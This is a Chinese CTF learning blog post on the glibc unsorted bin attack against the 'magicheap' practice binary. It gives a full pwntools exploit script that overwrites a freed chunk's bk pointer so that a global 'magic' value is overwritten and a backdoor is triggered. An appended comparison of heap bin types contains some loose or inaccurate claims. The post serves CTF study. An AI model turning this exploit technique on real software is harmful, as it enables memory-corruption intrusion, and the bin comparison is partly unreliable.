从wiki 重新打基础之 Unsorted Bin Attack

本文介绍如何通过Unsorted Bin漏洞攻击Magic Heap程序,实现任意地址写入。通过构造特定payload,编辑堆块内容指向magic地址,最终获得程序控制权。

之所以 看 Unsorted Bin Attack   因为感觉 Fastbin    还有 UAF算是比较熟悉的  所以 直接看 Unsorted Bin

其实Unsorted Bin 也是比较熟悉的  在泄露 libc库的时候就认真的看过 这个东西

,是当small chunklarge chunkfree掉之后,不会直接进入smallbin或largebin,而是会先进入unsortedbin

然后他是双链表连接的  不同于fastbin的单链表 他还会堆块合并

这里wiki给的例题很简单  简单看一下

维护一个数组  记录我们的 堆地址

发现 edit 直接让我们自己输入大小  所以这里可以 利用一下 而且还有一个后门函数

这里直接 可以直接 利用 unsortbin  然后直接写进入那个magic 的地方   因为 bk 是没有检查的

这里可以gdb 看一下

可以看到直接  搞定了这个东西。。。。

下面就是脚本,

# -*- coding:utf-8 -*-
import os
import base64
from pwn import* 
io=process("./magicheap")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap:")
	io.sendline(content)

def edit(index,size,content):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap : ")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))


if __name__ =="__main__":
	add(0x20,'a')
	add(0x80,'a')
	add(0x20,'a')
	add(0x20,'a')
	magic=0x6020C0
	dele(1)
	payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
	edit(0,len(payload),payload)
	#gdb.attach(io)
	add(0x80,'pppp')

	io.sendline("4869")

	print io.recv()
	io.close()

快速块(fast bin)、小型块(small bin)、未排序块(unsorted bin)和大型块(large bin)是堆管理中不同的内存块分类。它们有一些区别和共同点,如下所示: 区别: 1. 大小范围:快速块是一组固定大小的小块,通常用于快速分配和释放小型对象;小型块是一组尺寸逐渐增大的内存块,用于中等大小的对象;未排序块是不同尺寸的内存块,用于中等和大型对象;大型块是较大的内存块,通常用于分配较大的对象。 2. 管理方式:快速块和小型块使用特定的数据结构(如双向链表或位图)来管理内存块;未排序块和大型块使用不同的数据结构(如双向链表)来管理内存块。 3. 分配策略:快速块通常通过简单的指针移动来分配和释放内存块,具有较低的开销;小型块和未排序块通常采用更复杂的算法来选择合适的内存块进行分配和释放;大型块通常通过系统调用来分配和释放内存。 共同点: 1. 都是用于管理堆中的内存块,以支持动态内存分配和释放操作。 2. 都涉及内存块的分配、释放和管理,以提高内存使用效率和减少碎片。 3. 都使用特定的数据结构来组织和管理内存块,以便快速查找可用的内存块。 这些块分类是堆管理中常见的策略,旨在根据对象的大小和使用模式来优化内存分配和释放的性能。具体的实现可能会因不同的堆管理算法而有所不同。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值